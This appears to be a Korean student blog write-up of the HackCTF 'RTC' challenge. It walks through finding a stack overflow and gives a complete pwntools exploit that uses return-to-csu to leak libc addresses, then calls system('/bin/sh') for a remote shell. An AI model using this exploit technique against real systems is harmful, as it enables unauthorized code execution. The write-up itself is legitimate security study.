혜랑's STORY

[HackCTF] RTC 풀이 본문

2021 SISS 21기 활동/여름방학 System

[HackCTF] RTC 풀이

hyerang0125 2021. 7. 31. 14:31

# checksec

64bit 파일이고, NX가 걸려있다.


# IDA

read() 함수에서 buf의 크기보다 더 많이 입력받을 수 있어서 overflow가 일어난다.

함수 목록을 살펴보니 __libc_init() 함수가 있다.

return-to-csu를 사용하여 문제를 해결하면 될 것 같다.


# Debugging

[Break Point]

  • 0x4005f6 : main 함수 코드 첫 부분
  • 0x40064b : read() 함수 호출 전

즉, 문자를 72개 이상 입력하면 return address를 덮어쓸 수 있다.


# Exploit

objdump -M intel -d ./rtc

사용할 가젯

  • 0x4006ba : pop rbx - csu_call
    • csu_call을 실행하고 rbp가 1이면 자동으로 csu_init이 실행된다.
  • 0x4006a0 : mov rdx, r13 - csu_init
    • leak라는데 사용할 가젯이다.
  • 0x4006c3 : pop rdi
    • 0x4006c2이 pop r15이고 hex값이 41 5f인데, pop rdi의 경우 hex값이 5f이기때문에 0x4006c3의 주소를 사용하여 pop rdi 명령어를 사용한 것과 같은 결과를 가질 수 있다.

 

Code

from pwn import *

#p = process('./rtc')
p = remote('ctf.j0n9hyun.xyz', 3025)
e = ELF('./rtc')
libc = ELF('./libc.so.6')

write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
read_got = e.got['read']
main = 0x4005f6
bss = e.bss()
binsh = '/bin/sh\x00'
pop_rdi = 0x4006c3
csu_call = 0x4006ba #  pop rbx,rbp,r12,r13,r14,r15, ret;
csu_init = 0x4006a0 #  mov rdx,r13; mov rsi,r14; mov edi,r15d; call [r12+8*rbx]; 
                    # add rbx,1; cmp rbx,rbp

# write(1, write_got, len(write_got))
payload = ''
payload += 'a' * 72
payload += p64(csu_call)
payload += p64(0)           # rbx
payload += p64(1)           # rbp
payload += p64(write_got)   # r12, no plt ok got
payload += p64(8) + p64(read_got) + p64(1) # r13(rdx), r14(rsi), r15(edi)
payload += p64(csu_init)    
# reply
# return to main
payload += p64(0) * 7
payload += p64(main)

pause()
p.sendlineafter('\n', payload)

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
#read_addr = u64(p.recv(8))
print hex(read_addr)

libc_base = read_addr - libc.symbols['read']
print hex(libc_base)

system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()

payload = ''
payload += 'a' * 72
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(0x400491)  # ret
payload += p64(system)

p.sendlineafter('\n', payload)

p.interactive()